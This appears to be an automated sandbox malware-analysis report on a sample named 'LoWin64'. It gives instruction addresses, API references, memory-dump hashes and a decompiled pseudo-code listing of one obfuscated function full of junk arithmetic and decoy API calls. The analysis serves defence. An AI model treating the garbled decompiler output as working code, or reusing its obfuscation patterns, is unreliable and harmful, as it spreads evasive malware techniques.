0x7ff6b1ca7b86
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c70
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d17
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c6
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6B1CA7899

Part of subcall function 00007FF6B1D3B360: SetConsoleCtrlHandler.KERNEL32 ref: 00007FF6B1D3B3CD

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ConsoleCtrlCurrentHandlerProcess
String ID: 7
API String ID: 2185383865-1790921346
Opcode ID: c9a646962c35658036e8640f1b66b3855ae63667ef5905c77aae724a7757b580
Instruction ID: 7a28fa012587e8dae585e6573c2d86dd7eb9740ba84ad1e622bb72d9eb9e0b36
Opcode Fuzzy Hash: c9a646962c35658036e8640f1b66b3855ae63667ef5905c77aae724a7757b580
Instruction Fuzzy Hash: B3029C67E3CA4666F7125F3CAD4A2B922A07F2070DF780739C719E119ACF3DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA788D Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 472
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6B1CA788D(void* __edi, signed int __esi, void* __ebp, long long __r12, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				signed int _t88;
				void* _t91;
				signed int _t95;
				void* _t109;
				signed int _t214;
				void* _t236;
				signed int _t279;
				void* _t281;
				void* _t282;
				void* _t283;
				void* _t284;
				signed int _t317;
				signed int _t319;
				void* _t328;
				void* _t334;
				void* _t335;
				void* _t338;
				void* _t341;
				void* _t347;
				void* _t348;
				void* _t349;
				void* _t352;
				void* _t353;
				void* _t367;
				signed int _t377;
				signed int _t402;
				void* _t416;
				void* _t419;
				void* _t427;
				void* _t428;
				void* _t430;
				signed long long _t443;
				signed long long _t445;
				signed long long _t447;
				signed long long _t448;
				signed long long _t449;
				signed long long _t450;
				signed long long _t452;
				signed long long _t453;
				signed long long _t454;
				signed long long _t458;
				signed long long _t462;
				void* _t466;
				signed long long _t469;
				signed long long _t661;
				void* _t664;
				void* _t667;
				void* _t670;
				void* _t673;
				void* _t676;
				signed long long _t745;
				void* _t749;
				void* _t754;
				void* _t757;
				void* _t764;

				asm("fidiv word [ebx+0x29]");
				GetCurrentProcessId();
				_t282 = _t281 + r13d;
				 *0xb1decf60 = 0x3d;
				E00007FF67FF6B1D3ACF4(_t443);
				if (_t334 >= 0) goto 0xb1ca78bd;
				_t445 = _t443 & 0x8000007f | 0xffffff80;
				_t335 = _t445 - 9;
				if (_t335 != 0) goto 0xb1ca7894;
				 *0xb1decf60 = _t745;
				E00007FF67FF6B1D3ACF4(_t445);
				if (_t335 >= 0) goto 0xb1ca78e0;
				_t447 = _t445 & 0x8000007f | 0xffffff80;
				if (_t447 - 0xd < 0) goto 0xb1ca7888;
				 *0xb1decf68 = __r12;
				 *0x3B4114EB00000060 =  *((intOrPtr*)(0x3b4114eb00000060)) + dil;
				E00007FF67FF6B1D3ACF4(_t447);
				r12d = 0x8000007f;
				goto 0xb1ca7922;
				if (0x3d - 0x26 >= 0) goto 0xb1ca7935;
				_t283 = _t282 + r13d;
				 *0xb1decf60 = 0x3d;
				_t88 = E00007FF67FF6B1D3ACF4(_t447);
				if (0x3d - 0x26 >= 0) goto 0xb1ca7930;
				_t448 = _t447 | 0xffffff80;
				_t91 = (_t88 & r12d) - r13d + r13d;
				_t338 = _t448 - 0x65;
				if (_t338 == 0) goto 0xb1ca790f;
				 *0x93A63E800000025 =  *((intOrPtr*)(0x93a63e800000025)) + _t91;
				asm("les edi, [ebp+0x9]");
				if (_t338 >= 0) goto 0xb1ca794d;
				_t449 = _t448 | 0xffffff80;
				if (_t91 - r13d + r13d >= 0) goto 0xb1ca7978;
				_t284 = _t283 + r13d;
				 *0xb1decf60 = 0x3f;
				_t95 = E00007FF67FF6B1D3ACF4(_t449) & r12d;
				if (_t95 >= 0) goto 0xb1ca7974;
				_t450 = _t449 | 0xffffff80;
				_t341 = _t450 - 0x3;
				if (_t341 != 0) goto 0xb1ca7954;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				if (_t341 >= 0) goto 0xb1ca7994;
				 *0xb1decf60 = 0x2;
				 *0xb1decf60 = 0x52;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				 *((intOrPtr*)(0x93a63e800000025)) =  *((intOrPtr*)(0x93a63e800000025)) + (_t95 - r13d + r13d & r12d) - r13d + r13d;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				_t452 = _t450 | 0xde3b20eb00000003;
				r12d = 0x37;
				goto 0xb1ca79f2;
				if (_t284 + r13d - r12d >= 0) goto 0xb1ca79f7;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t452);
				_t453 = _t452 & 0x8000007f;
				if (_t453 >= 0) goto 0xb1ca79f2;
				_t454 = _t453 | 0x00000003;
				if (_t454 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t454);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t347 = __esi - r13d;
				if (_t347 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t749 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t454);
				_push(0x8000007f);
				if (_t347 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t754 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t454);
				if (_t347 >= 0) goto 0xb1ca7a41;
				_t458 = ((_t454 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				_t348 = _t458 - 0x76;
				if (_t348 >= 0) goto 0xb1ca7a25;
				_t109 = E00007FF67FF6B1D3ACF4(_t458);
				if (_t348 >= 0) goto 0xb1ca7a57;
				_t462 = ((_t458 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				_t349 = _t462 - 0x23;
				if (_t349 < 0) goto 0xb1ca7a7c;
				_pop(_t757);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t109;
				 *0xb1decf60 = 0x2d;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t462);
				if (_t349 >= 0) goto 0xb1ca7ac8;
				_t466 = ((_t462 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				if (_t466 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t469 = (_t466 - 0x0000002d | 0x00000003) + 0x2d;
				_t352 = _t469 - 0x69;
				if (_t352 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t469);
				if (_t352 >= 0) goto 0xb1ca7afa;
				_t353 = ((_t469 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d - 0x44;
				if (_t353 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t469 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d);
				if (_t353 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7be1;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7c78;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t367 = r14d - 0x5c;
				if (_t367 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				if (_t367 >= 0) goto 0xb1ca7cd4;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(0xe93332e300000044) & r14d) >= 0) goto 0xb1ca7d34;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(0xe93332e300000044) & r14d) >= 0) goto 0xb1ca7d49;
				 *0xb1decf60 = 0;
				if (0xe93332e300000044 - 0x67 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (0xe93332e300000044 - 0x67 >= 0) goto 0xb1ca7d7a;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0xe93332e300000044 - 0x67 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0xe93332e300000044 - 0x67 >= 0) goto 0xb1ca7da0;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(0xb1ca8590);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t377 = E00007FF67FF6B1D3ACF4(0x8aee5e300000050) & r14d;
				if (_t377 >= 0) goto 0xb1ca7e07;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t377 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000050) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(0xe7f25fd300000044);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				if (0xe7f25fd300000044 - 0x65 > 0) goto 0xb1ca7f1b;
				if (0xe7f25fd300000044 == 0x65) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (0xe7f25fd300000044 - 0x65 >= 0) goto 0xb1ca7f07;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7f44;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7f59;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7f76;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7fa9;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7fec;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca8005;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca8020;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				_t402 = E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d;
				if (_t402 >= 0) goto 0xb1ca8046;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t402 != 0) goto 0xb1ca805e;
				if (_t402 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (_t402 >= 0) goto 0xb1ca807a;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t317 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca812d;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca8142;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t214 = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				_t215 = _t214 & r14d;
